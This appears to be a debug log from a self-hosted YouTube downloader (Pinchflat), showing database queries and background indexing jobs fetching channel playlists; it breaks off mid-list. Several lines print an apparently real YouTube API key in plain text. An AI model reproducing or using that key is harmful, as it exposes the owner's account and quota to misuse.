m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:39.349 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:39.349 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 18:06:39.350 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:39.350 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:39.529 [debug] QUERY OK source="media_items" db=0.6ms idle=180.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 18:06:39.531 [debug] QUERY OK source="media_items" db=1.1ms idle=181.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 18:06:39.532 [debug] QUERY OK source="tasks" db=0.1ms idle=182.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800353, 11, ~U[2026-02-11 00:06:39Z], ~U[2026-02-11 00:06:39Z]] 18:06:39.532 [info] {"args":{"id":11},"id":3800314,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":184605,"event":"job:stop","queue_time":522578,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:39.673 [debug] QUERY OK source="media_items" db=0.7ms idle=140.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 18:06:39.674 [debug] QUERY OK source="media_items" db=0.4ms idle=141.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 18:06:39.675 [debug] QUERY OK source="tasks" db=0.0ms idle=136.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800354, 12, ~U[2026-02-11 00:06:39Z], ~U[2026-02-11 00:06:39Z]] 18:06:39.675 [info] {"args":{"id":12},"id":3800315,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":327608,"event":"job:stop","queue_time":399747,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:40.349 [info] {"args":{"id":28},"id":3800316,"meta":{},"system_time":1770768400349750275,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:40.349 [info] {"args":{"id":27},"id":3800317,"meta":{},"system_time":1770768400349781163,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:40.350 [debug] QUERY OK source="sources" db=0.2ms idle=674.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 18:06:40.350 [debug] QUERY OK source="sources" db=0.2ms idle=674.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 18:06:40.350 [debug] QUERY OK source="settings" db=0.2ms idle=668.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:40.350 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:40.350 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:40.350 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:40.350 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:40.350 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 18:06:40.350 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:40.350 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 18:06:40.351 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:40.351 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:40.351 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:40.351 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:40.469 [debug] QUERY OK source="media_items" db=0.6ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 18:06:40.470 [debug] QUERY OK source="media_items" db=0.3ms idle=119.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 18:06:40.470 [debug] QUERY OK source="tasks" db=0.1ms idle=119.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800355, 28, ~U[2026-02-11 00:06:40Z], ~U[2026-02-11 00:06:40Z]] 18:06:40.471 [info] {"args":{"id":28},"id":3800316,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121196,"event":"job:stop","queue_time":533511,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:40.562 [debug] QUERY OK source="media_items" db=0.6ms idle=91.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 18:06:40.564 [debug] QUERY OK source="media_items" db=0.7ms idle=92.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 18:06:40.564 [debug] QUERY OK source="tasks" db=0.0ms idle=87.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800356, 27, ~U[2026-02-11 00:06:40Z], ~U[2026-02-11 00:06:40Z]] 18:06:40.565 [info] {"args":{"id":27},"id":3800317,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":215115,"event":"job:stop","queue_time":423431,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:42.351 [info] {"args":{"id":16},"id":3800318,"meta":{},"system_time":1770768402351702152,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:42.352 [debug] QUERY OK source="sources" db=0.1ms idle=473.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 18:06:42.352 [debug] QUERY OK source="settings" db=0.1ms idle=473.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:42.352 [debug] QUERY OK source="media_profiles" db=0.0ms idle=473.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:42.352 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:42.352 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 18:06:42.352 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:42.352 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:42.440 [debug] QUERY OK source="media_items" db=0.5ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", 